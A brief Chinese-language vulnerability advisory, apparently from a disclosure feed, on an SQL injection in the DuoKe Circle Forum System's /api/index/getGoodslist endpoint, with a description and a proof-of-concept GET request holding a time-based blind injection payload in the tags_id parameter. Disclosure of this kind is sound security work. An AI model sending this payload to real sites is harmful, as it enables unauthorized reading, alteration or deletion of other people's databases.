多客圈子论坛系统 /api/index/getGoodslist SQL 注入漏洞

2025-11-28 多客圈子论坛 PoC Public

Description

多客圈子论坛系统的 /api/index/getGoodslist 接口存在SQL注入漏洞，攻击者可以通过构造恶意请求执行任意SQL语句，可能导致数据库中的敏感信息泄露、篡改甚至删除，严重威胁系统的安全性。

PoC

GET /api/index/getGoodslist?tags_id=1'%29+AND+%28SELECT+1904+FROM+%28SELECT%28SLEEP%285%29%29%29xCMp%29--+OGeQ HTTPS/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://gobysec.net/updates#DuoKe Circle Forum System /api/index/getGoodslist SQL Injection Vulnerability

References

Related Vulnerabilities